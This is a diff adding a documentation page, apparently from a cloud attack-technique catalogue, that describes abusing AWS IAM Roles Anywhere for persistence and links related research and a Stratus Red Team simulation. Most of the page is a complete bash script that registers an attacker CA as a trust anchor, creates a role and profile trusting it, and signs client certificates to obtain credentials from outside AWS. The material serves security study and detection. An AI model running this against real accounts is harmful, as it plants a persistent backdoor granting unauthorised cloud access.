|
| 1 | +--- |
| 2 | +author_name: Adan Álvarez |
| 3 | +title: IAM Roles Anywhere Persistence |
| 4 | +description: Abusing IAM Roles Anywhere to obtain persistent AWS access from outside the cloud. |
| 5 | +--- |
| 6 | + |
| 7 | +<div class="grid cards" markdown> |
| 8 | + |
| 9 | +- :material-account:{ .lg .middle } __Original Research__ |
| 10 | + |
| 11 | + --- |
| 12 | + |
| 13 | + <aside style="display:flex"> |
| 14 | + <p><a href="https://medium.com/@adan.alvarez/how-attackers-can-abuse-iam-roles-anywhere-for-persistent-aws-access-b3ced6935dca">How Attackers Can Abuse IAM Roles Anywhere for Persistent AWS Access</a> by <a href="https://adan.cloud/">Adan Álvarez</a></p><p><img src="/images/researchers/adan_alvarez.jpg" alt="Adan Alvarez" style="width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset"></img></p> |
| 15 | + </aside> |
| 16 | + |
| 17 | +</div> |
| 18 | + |
| 19 | +[IAM Roles Anywhere](https://aws.amazon.com/iam/roles-anywhere/) lets external workloads assume IAM roles using X.509 certificates signed by a registered trust anchor (Certificate Authority). An attacker with sufficient privileges can register a malicious CA, associate it to roles via a profile, and generate on‑demand temporary credentials from outside AWS. |
| 20 | + |
| 21 | +## Overview |
| 22 | + |
| 23 | +1. **Create a Malicious CA and Trust Anchor:** The attacker generates their own CA certificate and private key. They then register this CA as a trust anchor in the victim’s AWS account. |
| 24 | +2. **Create or Backdoor an IAM Role:** The attacker either creates a new IAM role or modifies an existing one by updating its trust policy to allow assumptions via the malicious trust anchor. |
| 25 | +3. **Create a Profile:** The attacker creates a profile in IAM Roles Anywhere using the CreateProfile API action. The profile specifies which roles can be assumed using the trust anchor. |
| 26 | +4. **Obtain Temporary Credentials:** With the trust anchor and profile in place, the attacker uses their malicious CA to sign a client certificate. They then use the aws_signing_helper utility to obtain temporary AWS credentials |
| 27 | + |
| 28 | +## Demonstrating how an attacker could set up IAM Roles Anywhere for persistence easily |
| 29 | + |
| 30 | +The following script automates these steps |
| 31 | + |
| 32 | +```bash |
| 33 | +#!/bin/bash |
| 34 | + |
| 35 | +set -e |
| 36 | + |
| 37 | +# Variables |
| 38 | +TRUST_ANCHOR_NAME="MyTrustAnchor" |
| 39 | +PROFILE_NAME="MyProfile" |
| 40 | +ROLE_NAME="RolesAnywhereAssumableRole" |
| 41 | +POLICY_NAME="RolesAnywherePolicy" |
| 42 | +REGION="us-east-1" |
| 43 | +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) |
| 44 | +CREDENTIALS_FILE="./aws_credentials.conf" |
| 45 | + |
| 46 | +# Function to check if a trust anchor exists |
| 47 | +function get_trust_anchor_arn { |
| 48 | + aws rolesanywhere list-trust-anchors \ |
| 49 | + --region $REGION \ |
| 50 | + --query "trustAnchors[?name=='$TRUST_ANCHOR_NAME'].trustAnchorArn" \ |
| 51 | + --output text |
| 52 | +} |
| 53 | + |
| 54 | +# Function to check if a profile exists |
| 55 | +function get_profile_arn { |
| 56 | + aws rolesanywhere list-profiles \ |
| 57 | + --region $REGION \ |
| 58 | + --query "profiles[?name=='$PROFILE_NAME'].profileArn" \ |
| 59 | + --output text |
| 60 | +} |
| 61 | + |
| 62 | +# Function to check if an IAM role exists |
| 63 | +function get_role_arn { |
| 64 | + aws iam get-role \ |
| 65 | + --role-name "$ROLE_NAME" \ |
| 66 | + --query 'Role.Arn' \ |
| 67 | + --output text 2>/dev/null || true |
| 68 | +} |
| 69 | + |
| 70 | +# Step 1: Generate CA private key and certificate |
| 71 | +if [[ -f "ca.key" && -f "ca.crt" ]]; then |
| 72 | + echo "CA private key and certificate already exist. Skipping generation." |
| 73 | +else |
| 74 | + echo "Generating CA private key and certificate with proper basic constraints..." |
| 75 | + |
| 76 | + openssl genrsa -out ca.key 4096 |
| 77 | + |
| 78 | + cat > ca.conf <<EOF |
| 79 | +[ req ] |
| 80 | +default_bits = 4096 |
| 81 | +default_md = sha256 |
| 82 | +distinguished_name = req_distinguished_name |
| 83 | +x509_extensions = v3_ca |
| 84 | +
|
| 85 | +[ req_distinguished_name ] |
| 86 | +countryName = US |
| 87 | +commonName = MyRootCA |
| 88 | +
|
| 89 | +[ v3_ca ] |
| 90 | +subjectKeyIdentifier = hash |
| 91 | +authorityKeyIdentifier = keyid:always,issuer |
| 92 | +basicConstraints = critical,CA:TRUE |
| 93 | +keyUsage = critical, digitalSignature, cRLSign, keyCertSign |
| 94 | +EOF |
| 95 | + |
| 96 | + openssl req -new -x509 -days 3650 -key ca.key -out ca.crt -config ca.conf -subj "/CN=MyRootCA" -extensions v3_ca |
| 97 | +fi |
| 98 | + |
| 99 | +# Step 2: Create a trust anchor with the CA certificate |
| 100 | +TRUST_ANCHOR_ARN=$(get_trust_anchor_arn) |
| 101 | +if [[ -n "$TRUST_ANCHOR_ARN" ]]; then |
| 102 | + echo "Trust Anchor '$TRUST_ANCHOR_NAME' already exists with ARN: $TRUST_ANCHOR_ARN" |
| 103 | +else |
| 104 | + echo "Creating a trust anchor in IAM Roles Anywhere..." |
| 105 | + CA_CERT_BASE64=$(base64 -w 0 ca.crt) |
| 106 | + TRUST_ANCHOR_ARN=$(aws rolesanywhere create-trust-anchor \ |
| 107 | + --name "$TRUST_ANCHOR_NAME" \ |
| 108 | + --source "sourceData={x509CertificateData=$CA_CERT_BASE64},sourceType=CERTIFICATE_BUNDLE" \ |
| 109 | + --region $REGION \ |
| 110 | + --query 'trustAnchor.trustAnchorArn' \ |
| 111 | + --enabled \ |
| 112 | + --output text) |
| 113 | + echo "Created Trust Anchor with ARN: $TRUST_ANCHOR_ARN" |
| 114 | +fi |
| 115 | + |
| 116 | +# Step 3: Create an IAM role with trust policy for Roles Anywhere |
| 117 | +ROLE_ARN=$(get_role_arn) |
| 118 | +if [[ -n "$ROLE_ARN" ]]; then |
| 119 | + echo "IAM Role '$ROLE_NAME' already exists with ARN: $ROLE_ARN" |
| 120 | +else |
| 121 | + echo "Creating IAM role for Roles Anywhere..." |
| 122 | + ROLE_ARN=$(aws iam create-role \ |
| 123 | + --role-name "$ROLE_NAME" \ |
| 124 | + --assume-role-policy-document file://<(cat <<EOF |
| 125 | +{ |
| 126 | + "Version": "2012-10-17", |
| 127 | + "Statement": [ |
| 128 | + { |
| 129 | + "Effect": "Allow", |
| 130 | + "Principal": { |
| 131 | + "Service": "rolesanywhere.amazonaws.com" |
| 132 | + }, |
| 133 | + "Action": [ |
| 134 | + "sts:AssumeRole", |
| 135 | + "sts:TagSession", |
| 136 | + "sts:SetSourceIdentity" |
| 137 | + ], |
| 138 | + "Condition": { |
| 139 | + "ArnEquals": { |
| 140 | + "aws:SourceArn": "$TRUST_ANCHOR_ARN" |
| 141 | + } |
| 142 | + } |
| 143 | + } |
| 144 | + ] |
| 145 | +} |
| 146 | +EOF |
| 147 | + ) \ |
| 148 | + --description "Role assumable by IAM Roles Anywhere via trust anchor" \ |
| 149 | + --query 'Role.Arn' \ |
| 150 | + --output text) |
| 151 | + echo "Created IAM Role with ARN: $ROLE_ARN" |
| 152 | + |
| 153 | + # Attach a policy to the role |
| 154 | + echo "Attaching policy to the role..." |
| 155 | + aws iam put-role-policy \ |
| 156 | + --role-name "$ROLE_NAME" \ |
| 157 | + --policy-name "$POLICY_NAME" \ |
| 158 | + --policy-document file://<(cat <<EOF |
| 159 | +{ |
| 160 | + "Version": "2012-10-17", |
| 161 | + "Statement": [ |
| 162 | + { |
| 163 | + "Effect": "Allow", |
| 164 | + "Action": "sts:GetCallerIdentity", |
| 165 | + "Resource": "*" |
| 166 | + } |
| 167 | + ] |
| 168 | +} |
| 169 | +EOF |
| 170 | + ) |
| 171 | +fi |
| 172 | + |
| 173 | +# Step 4: Create a profile in IAM Roles Anywhere |
| 174 | +PROFILE_ARN=$(get_profile_arn) |
| 175 | +if [[ -n "$PROFILE_ARN" ]]; then |
| 176 | + echo "Profile '$PROFILE_NAME' already exists with ARN: $PROFILE_ARN" |
| 177 | +else |
| 178 | + echo "Creating a profile in IAM Roles Anywhere..." |
| 179 | + PROFILE_ARN=$(aws rolesanywhere create-profile \ |
| 180 | + --name "$PROFILE_NAME" \ |
| 181 | + --role-arns "$ROLE_ARN" \ |
| 182 | + --duration-seconds 3600 \ |
| 183 | + --enabled \ |
| 184 | + --region $REGION \ |
| 185 | + --query 'profile.profileArn' \ |
| 186 | + --output text) |
| 187 | + echo "Created Profile with ARN: $PROFILE_ARN" |
| 188 | +fi |
| 189 | + |
| 190 | +# Step 5: Generate client certificate signed by the CA |
| 191 | +if [[ -f "client.key" && -f "client.crt" ]]; then |
| 192 | + echo "Client certificate and key already exist. Skipping generation." |
| 193 | +else |
| 194 | + echo "Generating client certificate signed by the CA..." |
| 195 | + openssl genrsa -out client.key 4096 |
| 196 | + |
| 197 | + cat > client.conf <<EOF |
| 198 | +[ req ] |
| 199 | +default_bits = 2048 |
| 200 | +default_md = sha256 |
| 201 | +distinguished_name = req_distinguished_name |
| 202 | +req_extensions = v3_req |
| 203 | +
|
| 204 | +[ req_distinguished_name ] |
| 205 | +countryName = US |
| 206 | +commonName = sample-user |
| 207 | +
|
| 208 | +[ v3_req ] |
| 209 | +keyUsage = digitalSignature |
| 210 | +extendedKeyUsage = clientAuth |
| 211 | +basicConstraints = critical,CA:FALSE |
| 212 | +EOF |
| 213 | + |
| 214 | + openssl req -new -key client.key -out client.csr -config client.conf -subj "/CN=sample-user" |
| 215 | + |
| 216 | + openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out client.crt -days 3650 -extensions v3_req -extfile client.conf |
| 217 | +fi |
| 218 | + |
| 219 | +# Check if aws_signing_helper is available |
| 220 | +if ! command -v ./aws_signing_helper &> /dev/null |
| 221 | +then |
| 222 | + echo "aws_signing_helper not found. Please ensure AWS CLI v2 is installed." |
| 223 | + exit 1 |
| 224 | +fi |
| 225 | + |
| 226 | +# Create AWS CLI credentials file with credential_process |
| 227 | +cat > $CREDENTIALS_FILE <<EOF |
| 228 | +[default] |
| 229 | +credential_process = ./aws_signing_helper credential-process \ |
| 230 | +--certificate client.crt \ |
| 231 | +--private-key client.key \ |
| 232 | +--trust-anchor-arn $TRUST_ANCHOR_ARN \ |
| 233 | +--profile-arn $PROFILE_ARN \ |
| 234 | +--role-arn $ROLE_ARN \ |
| 235 | +--region $REGION |
| 236 | +EOF |
| 237 | + |
| 238 | +echo "----" |
| 239 | +echo "You can now assume $ROLE_ARN, just execute this:" |
| 240 | +echo "" |
| 241 | +echo "export AWS_SHARED_CREDENTIALS_FILE=$CREDENTIALS_FILE" |
| 242 | +echo "aws sts get-caller-identity --region $REGION" |
| 243 | +``` |
| 244 | + |
| 245 | +## Simulate the events with Stratus Red Team |
| 246 | + |
| 247 | +You can simulate this technique with Stratus Red Team: https://stratus-red-team.cloud/attack-techniques/AWS/aws.persistence.rolesanywhere-create-trust-anchor/ |
0 commit comments